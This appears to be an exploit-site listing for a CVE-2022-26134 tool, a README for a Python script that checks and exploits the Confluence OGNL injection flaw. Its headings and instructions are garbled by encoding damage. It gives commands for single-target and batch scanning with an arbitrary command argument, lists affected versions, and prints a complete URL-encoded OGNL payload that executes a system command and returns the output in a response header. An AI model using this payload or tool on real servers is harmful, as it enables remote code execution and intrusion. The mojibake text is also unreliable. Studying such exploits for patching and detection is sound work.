Sploitus

Exploit for CVE-2022-26134

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN48 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YTXZX-CVE-2022-26134
CVE-2022-26134 - Confluence OGNL injection vulnerability

# рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЙрдкрдпреЛрдЧ

python рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ

pip install -r requirements.txt

рднреЗрджреНрдпрддрд╛ рд╕рддреНрдпрд╛рдкрди

python3 CVE-2022-26134_check.py -u url -c whoami

![image](https://assets.kitploit.com/production/public/readmes/34736/0419123f6505e0ed5fbef773a671c37705310084f4b6345966b26f7c7f860c2e.png)

рдмреИрдЪ рд╕реНрдХреИрдирд┐рдВрдЧ

python3 CVE-2022-26134_check.py -f url.txt -c whoami

![image](https://assets.kitploit.com/production/public/readmes/34736/3f4129e0afca2eec1330645cfbba75630c09311c67d4f8540d2ceddfea606ca1.png)

# рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

Confluence Server and Data Center >= 1.3.0

Confluence Server and Data Center < 7.4.17

Confluence Server and Data Center < 7.13.7

Confluence Server and Data Center < 7.14.3

Confluence Server and Data Center < 7.15.2

Confluence Server and Data Center < 7.16.4

Confluence Server and Data Center < 7.17.4

Confluence Server and Data Center < 7.18.1

# рднреЗрджреНрдпрддрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди

payloadя╝Ъ

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/

Confluence рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдБрдЪреЗрдВ, 302 рд░рд┐рдЯрд░реНрди рдХреЛрдб рд╡рд╛рд▓рд╛ рдбреЗрдЯрд╛ рдкреИрдХреЗрдЯ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ, payload рд╡рд╛рд▓рд╛ рдбреЗрдЯрд╛ рдкреИрдХреЗрдЯ рднреЗрдЬреЗрдВ; рд░рд┐рдЯрд░реНрди рдкреИрдХреЗрдЯ рдореЗрдВ X-Qualys-Response рдкреИрд░рд╛рдореАрдЯрд░ рд╡рд░реНрддрдорд╛рди рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд▓реМрдЯрд╛рдПрдЧрд╛ред

![image](https://assets.kitploit.com/production/public/readmes/34736/bd81fe2f9450588a61e8e54e9026024fae52ee09f8178e199d5db05c03282946.png)